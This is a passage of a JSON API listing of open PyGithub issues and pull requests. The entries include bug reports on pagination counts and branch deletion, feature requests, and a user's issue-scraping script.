nts{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"assignees":[{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false}],"milestone":null,"comments":0,"created_at":"2024-09-05T08:29:21Z","updated_at":"2024-09-05T08:29:21Z","closed_at":null,"author_association":"COLLABORATOR","active_lock_reason":null,"body":"The `totalCount` property returns `0` count when unknown. It should return `None` in that case. Use `NotSet` to distinguish between un-determined (`NotSet`) and not known (`None`).","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3036/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3036/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3035","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3035/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3035/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3035/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3035","id":2506087224,"node_id":"I_kwDOADYVqs6VX9s4","number":3035,"title":"Accessing pagination.totalCount with value 0 triggers request","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"assignees":[{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false}],"milestone":null,"comments":0,"created_at":"2024-09-04T19:08:14Z","updated_at":"2024-09-04T19:08:14Z","closed_at":null,"author_association":"COLLABORATOR","active_lock_reason":null,"body":"The current code says:\r\n\r\n if not self.__totalCount:\r\n\r\nwhich, if `0` will be true, so a request is triggered to determine the total count, which is already known.\r\n\r\nThis should read\r\n\r\n if self.__totalCount is not None:\r\n\r\nAdd a test to show current behaviour is inefficient and fix.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3035/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3035/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3034","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3034/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3034/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3034/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3034","id":2505645031,"node_id":"PR_kwDOADYVqs56aVtf","number":3034,"title":"Add missing RequiredPullRequestReview functionality with respect to...","user":{"login":"ck3mp3r","id":622232,"node_id":"MDQ6VXNlcjYyMjIzMg==","avatar_url":"https://avatars.githubusercontent.com/u/622232?v=4","gravatar_id":"","url":"https://api.github.com/users/ck3mp3r","html_url":"https://github.com/ck3mp3r","followers_url":"https://api.github.com/users/ck3mp3r/followers","following_url":"https://api.github.com/users/ck3mp3r/following{/other_user}","gists_url":"https://api.github.com/users/ck3mp3r/gists{/gist_id}","starred_url":"https://api.github.com/users/ck3mp3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ck3mp3r/subscriptions","organizations_url":"https://api.github.com/users/ck3mp3r/orgs","repos_url":"https://api.github.com/users/ck3mp3r/repos","events_url":"https://api.github.com/users/ck3mp3r/events{/privacy}","received_events_url":"https://api.github.com/users/ck3mp3r/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-04T15:10:03Z","updated_at":"2024-09-04T16:48:26Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":true,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3034","html_url":"https://github.com/PyGithub/PyGithub/pull/3034","diff_url":"https://github.com/PyGithub/PyGithub/pull/3034.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3034.patch","merged_at":null},"body":"... handling dismissals for apps and also bypass allowances.\r\n\r\nFYI, python is not my main language, hence I am not that familiar with all the tooling.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3034/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3034/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3032","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3032/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3032/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3032/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3032","id":2503825950,"node_id":"I_kwDOADYVqs6VPVoe","number":3032,"title":"dismissal_apps retrieval missing in branch protection","user":{"login":"ck3mp3r","id":622232,"node_id":"MDQ6VXNlcjYyMjIzMg==","avatar_url":"https://avatars.githubusercontent.com/u/622232?v=4","gravatar_id":"","url":"https://api.github.com/users/ck3mp3r","html_url":"https://github.com/ck3mp3r","followers_url":"https://api.github.com/users/ck3mp3r/followers","following_url":"https://api.github.com/users/ck3mp3r/following{/other_user}","gists_url":"https://api.github.com/users/ck3mp3r/gists{/gist_id}","starred_url":"https://api.github.com/users/ck3mp3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ck3mp3r/subscriptions","organizations_url":"https://api.github.com/users/ck3mp3r/orgs","repos_url":"https://api.github.com/users/ck3mp3r/repos","events_url":"https://api.github.com/users/ck3mp3r/events{/privacy}","received_events_url":"https://api.github.com/users/ck3mp3r/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2024-09-03T21:31:56Z","updated_at":"2024-09-05T13:02:18Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"The implementation for retrieving dismissal_apps is missing.\r\nFetching dismissal_users and dismissal_teams is present and accounted for.\r\nHaving this would be useful to complete an ansible module that has the ability to compare what is present in a branch protection to then decide if an update is required.\r\n\r\nNote: might be worth prioritising #2718 over this feature request...","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3032/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3032/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3031","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3031/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3031/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3031/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3031","id":2503813839,"node_id":"I_kwDOADYVqs6VPSrP","number":3031,"title":"Incorrect Pull Requests filtering in new delete_branch method","user":{"login":"andreisidorenko","id":59011539,"node_id":"MDQ6VXNlcjU5MDExNTM5","avatar_url":"https://avatars.githubusercontent.com/u/59011539?v=4","gravatar_id":"","url":"https://api.github.com/users/andreisidorenko","html_url":"https://github.com/andreisidorenko","followers_url":"https://api.github.com/users/andreisidorenko/followers","following_url":"https://api.github.com/users/andreisidorenko/following{/other_user}","gists_url":"https://api.github.com/users/andreisidorenko/gists{/gist_id}","starred_url":"https://api.github.com/users/andreisidorenko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andreisidorenko/subscriptions","organizations_url":"https://api.github.com/users/andreisidorenko/orgs","repos_url":"https://api.github.com/users/andreisidorenko/repos","events_url":"https://api.github.com/users/andreisidorenko/events{/privacy}","received_events_url":"https://api.github.com/users/andreisidorenko/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-03T21:23:22Z","updated_at":"2024-09-03T21:23:22Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"According to the [GitHub API documentation](https://docs.github.com/en/rest/pulls/pulls?apiVersion=2022-11-28#list-pull-requests), the `head` parameter should be in the format of `user:ref-name` or `organization:ref-name`. However, the current implementation in `delete_branch` method (introduced in [v2.4.0](https://github.com/PyGithub/PyGithub/releases/tag/v2.4.0)) only [uses](https://github.com/PyGithub/PyGithub/blob/main/github/PullRequest.py#L780) `ref-name`, which leads to false-positive `remaining_pulls` (if repo contains any open PRs) with raising RuntimeErrors.\r\n\r\nTo reproduce (`GITHUB_TOKEN` omitted):\r\n```\r\nfrom github import Github\r\n\r\ngh_client = Github(GITHUB_TOKEN)\r\norg = 'PyGithub'\r\nrepository = gh_client.get_repo(f'{org}/PyGithub')\r\n\r\npr = repository.get_pull(2929)\r\npr_head_ref = pr.head.ref\r\n\r\n# wrong head param usage - current implementation\r\n# will return all open PRs in repository\r\nprs = repository.get_pulls(head=f\"{pr_head_ref}\")\r\nprint(f\"prs count: {prs.totalCount}\")\r\nfor pr in prs:\r\n print(f\"{pr.number} - {pr.title} - {pr.user.login} - {pr.head.ref} - {pr.state}\")\r\n\r\n# output:\r\n# prs count: 84\r\n# 3028 - Commit verification support - timgates42 - feat/commit_verification - open\r\n# 3022 - add support for generate_release_notes - mball-agathos - issue_2794 - open\r\n# ...\r\n# 1676 - Issue 1655: Add authorize credentials list and removal on organization under SAML - AlexandreODelisle - master - open\r\n\r\n# correct head param usage\r\n# will return all open PRs for the specified branch\r\nprs = repository.get_pulls(head=f\"{org}:{pr_head_ref}\")\r\nprint(f\"prs count: {prs.totalCount}\")\r\nfor pr in prs:\r\n print(f\"{pr.number} - {pr.title} - {pr.user.login} - {pr.head.ref} - {pr.state}\")\r\n\r\n# output:\r\n# prs count: 1\r\n# 2929 - Fix requesting urls containing parameters with parameters dict - EnricoMi - pagination-per-page - open\r\n```\r\n\r\n","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3031/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3031/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3028","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3028/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3028/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3028/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3028","id":2491331720,"node_id":"PR_kwDOADYVqs55q4LC","number":3028,"title":"Commit verification support","user":{"login":"timgates42","id":47873678,"node_id":"MDQ6VXNlcjQ3ODczNjc4","avatar_url":"https://avatars.githubusercontent.com/u/47873678?v=4","gravatar_id":"","url":"https://api.github.com/users/timgates42","html_url":"https://github.com/timgates42","followers_url":"https://api.github.com/users/timgates42/followers","following_url":"https://api.github.com/users/timgates42/following{/other_user}","gists_url":"https://api.github.com/users/timgates42/gists{/gist_id}","starred_url":"https://api.github.com/users/timgates42/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timgates42/subscriptions","organizations_url":"https://api.github.com/users/timgates42/orgs","repos_url":"https://api.github.com/users/timgates42/repos","events_url":"https://api.github.com/users/timgates42/events{/privacy}","received_events_url":"https://api.github.com/users/timgates42/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-28T07:43:46Z","updated_at":"2024-08-29T20:39:52Z","closed_at":null,"author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3028","html_url":"https://github.com/PyGithub/PyGithub/pull/3028","diff_url":"https://github.com/PyGithub/PyGithub/pull/3028.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3028.patch","merged_at":null},"body":"Add support for verification component of Commit API response to see if commit has been signed and the signature has been checked by Github\r\n\r\nhttps://docs.github.com/en/rest/commits/commits","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3028/reactions","total_count":1,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":1},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3028/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3026","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3026/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3026/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3026/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3026","id":2484070647,"node_id":"I_kwDOADYVqs6UD-j3","number":3026,"title":"Add support for REST API endpoints for GitHub Classroom","user":{"login":"mdadams","id":19838285,"node_id":"MDQ6VXNlcjE5ODM4Mjg1","avatar_url":"https://avatars.githubusercontent.com/u/19838285?v=4","gravatar_id":"","url":"https://api.github.com/users/mdadams","html_url":"https://github.com/mdadams","followers_url":"https://api.github.com/users/mdadams/followers","following_url":"https://api.github.com/users/mdadams/following{/other_user}","gists_url":"https://api.github.com/users/mdadams/gists{/gist_id}","starred_url":"https://api.github.com/users/mdadams/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mdadams/subscriptions","organizations_url":"https://api.github.com/users/mdadams/orgs","repos_url":"https://api.github.com/users/mdadams/repos","events_url":"https://api.github.com/users/mdadams/events{/privacy}","received_events_url":"https://api.github.com/users/mdadams/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-24T00:25:04Z","updated_at":"2024-08-24T00:25:04Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"As far as I can tell, the API endpoints for GitHub Classroom are not currently supported by PyGithub. By any chance, would it be possible to add support for these endpoints? These endpoints are described here:\r\n\r\n - \r\n\r\nGitHub Classroom is quite popular for teaching purposes. So, being able to use PyGithub to interface with the API endpoints for GitHub Classroom would be a fabulous.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3026/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3026/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3024","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3024/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3024/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3024/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3024","id":2474239151,"node_id":"I_kwDOADYVqs6TeeSv","number":3024,"title":"How to Retrieve the Request URL related to an GitHubException for Debugging?","user":{"login":"Xiaoven","id":55338943,"node_id":"MDQ6VXNlcjU1MzM4OTQz","avatar_url":"https://avatars.githubusercontent.com/u/55338943?v=4","gravatar_id":"","url":"https://api.github.com/users/Xiaoven","html_url":"https://github.com/Xiaoven","followers_url":"https://api.github.com/users/Xiaoven/followers","following_url":"https://api.github.com/users/Xiaoven/following{/other_user}","gists_url":"https://api.github.com/users/Xiaoven/gists{/gist_id}","starred_url":"https://api.github.com/users/Xiaoven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Xiaoven/subscriptions","organizations_url":"https://api.github.com/users/Xiaoven/orgs","repos_url":"https://api.github.com/users/Xiaoven/repos","events_url":"https://api.github.com/users/Xiaoven/events{/privacy}","received_events_url":"https://api.github.com/users/Xiaoven/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-19T21:29:12Z","updated_at":"2024-08-19T21:29:12Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"## Description\r\n\r\nI am currently using the `search_code` API to iterate through the contents of files in various repositories. However, I've encountered an issue where the API sometimes throws an exception with the following data:\r\n```\r\n{\r\n \"message\": \"This repository is empty.\",\r\n \"documentation_url\": \"https://docs.github.com/v3/repos/contents/#get-contents\",\r\n \"status\": \"404\"\r\n}\r\n```\r\n\r\nTo help debug this issue, I would like **to retrieve the request URL (including the query) that led to this exception**. Unfortunately, I couldn't find a field in the `GitHubException` that provides this information.\r\n\r\n\r\nMy code is\r\n```python\r\nclient = GitHub(login_or_token=my_token, per_page=100)\r\n\r\nresults = client.search_code(query=my_query)\r\n\r\nfor result in results:\r\n content = result.decoded_content.decode(\"utf-8\")\r\n do_something(content)\r\n```\r\n\r\n`result.decoded_content.decode(\"utf-8\")` is like a black box, because I don't know which APIs and parameters it uses to get the data.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3024/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3024/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3022","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3022/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3022/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3022/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3022","id":2472187397,"node_id":"PR_kwDOADYVqs54rGtp","number":3022,"title":"add support for generate_release_notes","user":{"login":"mball-agathos","id":96152357,"node_id":"U_kgDOBbsrJQ","avatar_url":"https://avatars.githubusercontent.com/u/96152357?v=4","gravatar_id":"","url":"https://api.github.com/users/mball-agathos","html_url":"https://github.com/mball-agathos","followers_url":"https://api.github.com/users/mball-agathos/followers","following_url":"https://api.github.com/users/mball-agathos/following{/other_user}","gists_url":"https://api.github.com/users/mball-agathos/gists{/gist_id}","starred_url":"https://api.github.com/users/mball-agathos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mball-agathos/subscriptions","organizations_url":"https://api.github.com/users/mball-agathos/orgs","repos_url":"https://api.github.com/users/mball-agathos/repos","events_url":"https://api.github.com/users/mball-agathos/events{/privacy}","received_events_url":"https://api.github.com/users/mball-agathos/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2024-08-18T23:07:07Z","updated_at":"2024-08-26T16:42:42Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3022","html_url":"https://github.com/PyGithub/PyGithub/pull/3022","diff_url":"https://github.com/PyGithub/PyGithub/pull/3022.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3022.patch","merged_at":null},"body":"Resolves: #2794\r\n\r\nContext: https://docs.github.com/en/rest/releases/releases?apiVersion=2022-11-28#generate-release-notes-content-for-a-release","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3022/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3022/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3021","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3021/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3021/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3021/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3021","id":2471255560,"node_id":"I_kwDOADYVqs6TTF4I","number":3021,"title":"Returned object contains no URL: 400","user":{"login":"zhimin-z","id":8592144,"node_id":"MDQ6VXNlcjg1OTIxNDQ=","avatar_url":"https://avatars.githubusercontent.com/u/8592144?v=4","gravatar_id":"","url":"https://api.github.com/users/zhimin-z","html_url":"https://github.com/zhimin-z","followers_url":"https://api.github.com/users/zhimin-z/followers","following_url":"https://api.github.com/users/zhimin-z/following{/other_user}","gists_url":"https://api.github.com/users/zhimin-z/gists{/gist_id}","starred_url":"https://api.github.com/users/zhimin-z/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zhimin-z/subscriptions","organizations_url":"https://api.github.com/users/zhimin-z/orgs","repos_url":"https://api.github.com/users/zhimin-z/repos","events_url":"https://api.github.com/users/zhimin-z/events{/privacy}","received_events_url":"https://api.github.com/users/zhimin-z/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-17T01:26:41Z","updated_at":"2024-08-17T01:26:41Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"I attempt to scrape issues and commits from a list of repositories. However, some repositories just throw the following exception: `Returned object contains no URL: 400`. What could I do?\r\n\r\nHere is my scraping script:\r\n```\r\nfrom datetime import datetime\r\nfrom github import Github\r\nfrom github import Auth\r\n\r\nimport pandas as pd\r\nimport time\r\nimport json\r\nimport os\r\n\r\npath_data = '../data'\r\npath_result = '../result'\r\npath_key = '../key'\r\npath_respository = f'{path_data}/repositories'\r\n\r\n# Load GitHub token from a JSON file\r\nwith open(f'{path_key}/.github.json') as f:\r\n github_token = json.load(f)['login_or_token']\r\n auth = Auth.Token(github_token)\r\n g = Github(auth=auth)\r\n\r\n# File paths for the consolidated JSON files\r\npull_requests_file = f\"{path_data}/pull_requests.json\"\r\ncommits_file = f\"{path_data}/commits.json\"\r\nissues_file = f\"{path_data}/issues.json\"\r\n\r\n# Initialize empty files if they don't exist\r\nfor file in [pull_requests_file, commits_file, issues_file]:\r\n if not os.path.exists(file):\r\n with open(file, 'w') as f:\r\n pass\r\n\r\ndef check_rate_limit():\r\n rate_limit = g.get_rate_limit().core\r\n remaining = rate_limit.remaining\r\n reset_timestamp = rate_limit.reset.timestamp()\r\n\r\n if remaining == 0:\r\n reset_time = datetime.fromtimestamp(reset_timestamp)\r\n sleep_time = (reset_time - datetime.now()).total_seconds() + 10 # Adding a small buffer\r\n print(f\"Rate limit exceeded. Sleeping for {sleep_time} seconds.\")\r\n time.sleep(sleep_time)\r\n\r\ndef process_repository(repo_name):\r\n repo = g.get_repo(repo_name)\r\n \r\n # Check rate limit before processing\r\n check_rate_limit()\r\n\r\n # Process pull requests\r\n pull_requests = []\r\n for index, pr in enumerate(repo.get_pulls(state='all')):\r\n pull_requests.append({\r\n 'repository': repo_name,\r\n 'index': index,\r\n 'message': pr.title,\r\n 'contributor_id': pr.user.login,\r\n 'creation_time': pr.created_at,\r\n 'labels': [label.name for label in pr.labels],\r\n 'state': pr.state\r\n })\r\n time.sleep(0.5) # Sleep for 100ms to avoid rate limit\r\n \r\n # Append pull requests to file\r\n if pull_requests:\r\n pr_df = pd.DataFrame(pull_requests)\r\n pr_df.to_json(pull_requests_file, orient='records', lines=True, mode='a')\r\n\r\n # Check rate limit before processing next item\r\n check_rate_limit()\r\n \r\n # Process commits\r\n commits = []\r\n for index, commit in enumerate(repo.get_commits()):\r\n commits.append({\r\n 'repository': repo_name,\r\n 'index': index,\r\n 'message': commit.commit.message,\r\n 'contributor_id': commit.author.login if commit.author else 'Unknown',\r\n 'creation_time': commit.commit.author.date,\r\n })\r\n time.sleep(0.5) # Sleep for 100ms to avoid rate limit\r\n \r\n # Append commits to file\r\n if commits:\r\n commit_df = pd.DataFrame(commits)\r\n commit_df.to_json(commits_file, orient='records', lines=True, mode='a')\r\n\r\n # Check rate limit before processing next item\r\n check_rate_limit()\r\n\r\n # Process issues\r\n issues = []\r\n for index, issue in enumerate(repo.get_issues(state='all')):\r\n issues.append({\r\n 'repository': repo_name,\r\n 'index': index,\r\n 'message': issue.title,\r\n 'contributor_id': issue.user.login,\r\n 'creation_time': issue.created_at,\r\n 'labels': [label.name for label in issue.labels],\r\n 'state': issue.state\r\n })\r\n time.sleep(0.5) # Sleep for 100ms to avoid rate limit\r\n \r\n # Append issues to file\r\n if issues:\r\n issues_df = pd.DataFrame(issues)\r\n issues_df.to_json(issues_file, orient='records', lines=True, mode='a')\r\n\r\n# Process each repository\r\nfor repo in ['EleutherAI/lm-evaluation-harness', 'huggingface/optimum-benchmark']:\r\n try:\r\n process_repository(repo)\r\n print(f\"Processed {repo} successfully.\")\r\n except Exception as e:\r\n print(f\"Error processing {repo}: {str(e)}\")\r\n\r\nprint(\"All repositories processed and data saved.\")\r\n```","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3021/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3021/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3019","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3019/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3019/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3019/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3019","id":2469374709,"node_id":"I_kwDOADYVqs6TL6r1","number":3019,"title":"Repository's URL and Requester's URL might not 